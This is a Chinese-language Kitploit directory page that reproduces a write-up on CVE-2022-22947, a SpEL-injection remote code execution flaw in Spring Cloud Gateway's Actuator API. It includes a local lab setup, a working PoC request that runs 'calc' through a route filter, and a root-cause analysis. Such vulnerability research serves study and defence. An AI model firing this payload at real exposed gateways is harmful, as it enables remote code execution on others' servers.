Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-22947-spring-cloud-gateway — 对CVE-2022-22947的详细分析和利用,该漏洞是Spring Cloud Gateway中通过Actuator API的SpEL注入导致的远程代码执行漏洞。包含PoC、内存shell注入及根本原因分析。 | Kitploit
工具/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

cve-2022-22947-spring-cloud-gateway

对CVE-2022-22947的详细分析和利用,该漏洞是Spring Cloud Gateway中通过Actuator API的SpEL注入导致的远程代码执行漏洞。包含PoC、内存shell注入及根本原因分析。

查看仓库
18194年前尚未审核
分享

漏洞简介

Spring Cloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的API路由管理方式。 前段时间springCloud Gateway被爆致命RCE CVE ,cve信息显示当应用程序启用和暴露Spring Cloud Gateway的Gateway Actuator endpoint时,会受到远程代码注入攻击,攻击者发送恶意请求从而可远程执行任意代码。目前受影响的版本如下:

  • 3.1.0
  • 3.0.0 至 3.0.6
  • Older, unsupported versions are also affected

本次分析通过复现该CVE学习漏洞原理以及更进一步的利用方式。

环境搭建

使用如下依赖创建一个maven工程:

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-gateway-server</artifactId>
    <version>3.0.6</version>
</dependency>
<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
    <version>3.0.6</version>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
    <version>2.5.9</version>
</dependency>

spring boot默认配置下,只有health这一个endpoint是对web开放的,如果需要开放gateway,则需要手动配置,参考官方文档 ,【2】 :

management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

发送如下的POC:

POST /actuator/gateway/routes/test2 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 306
Content-Type: application/json

{
  "id": "test2",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test2"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}"
  }
}],
  "uri": "http://127.0.0.1:9999"
}]

然后发送POST /actuator/gateway/refresh 刷新路由缓存信息即可触发POC:

原理分析

观察上面的POC,首先通过POST /actuator/gateway/routes/test2动态地添加了一个路由,添加路由过程中有一个filter对输入参数进行处理时可以把该值作为spel表达式解析,然后刷新路由缓存的时候触发POC执行。 首先看下spring cloud gateway动态路由配置的机制。

动态路由配置

spring cloud gateway支持通过代码/配置文件的方式注册路由,以官网的demo 为例:

@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

配置文件的方式与代码类似:

application.yml
spring:
  cloud:
    gateway:
      routes:
        - id: test1
          uri: 目标uri
          predicates:
            - Path=/test1,
          filters:
            - StripPrefix=1

这两种方式所添加的路由都是固定的,如果需要添加、修改、或者删除路由配置和规则,就必须重启应用才能生效。但是现实情况下,spring cloud gateway作为所有流量的入口,需要保证系统的高可用,因此spring cloud gateway暴露/gateway 这个endpoint之后就可以通过/gateway/routes来增删改动态路由信息,但是这种方式的路由信息只存在与内存中,一旦服务重启,新增的路由配置信息就丢失了。

从以上路由注册的格式可以发现,一个路由信息包括目标uri、filter集合以及predicates集合,其中predicates可以以来自http请求的任意内容(请求头、参数)进行请求匹配,spring cloud gateway内置的route predicate 工厂类有很多,如Before、After、Between、Cookie、Header、Host、Path等 。

filter用于请求发送之前或者之后修改请求或响应,同样包含很多内置filter集合,上面的触发RCE的payload中我们使用的filter是AddResponseHeader,其他filter有RewritePath、SetPath等,filter有两种,一种是对所有路由都有效的GlobalFilter,另一种是仅对单个路由有效的GatewayFilter,详情可以参考https://www.cnblogs.com/duanxz/p/14780675.html。

,

请求流程

那么,一个请求过来之后经过gateway到后端的proxied service的具体流程是什么样的呢? 官方文档中的流程如下:

客户端向Spring Cloud GateWay发出请求,然后在GateWay Handler Mapping中找到与请求相匹配的路由,将其发送到GateWay Web Handler;Handler再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑,然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前(pre)或者之后(post)执行业务逻辑。 RoutePredicateHandlerMapping 查找路由然后由webHandler进行处理:

img.png

在webHandler中找出gatewayFilters以及globalFilters后按照filter中定义的Order值进行排序后形成filterchain,并执行所有的filter。 img.png

动态路由注册

接下来具体的看一下通过gateway endpoint方式添加路由的时候为什么会触发了spel执行。 POST /actuator/gateway/routes/{id}添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:

然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:

	  at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
	  at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
	  ... // Spring WebFlux的publisher和subscriber机制
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
	  at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)

解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:

在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

下载工具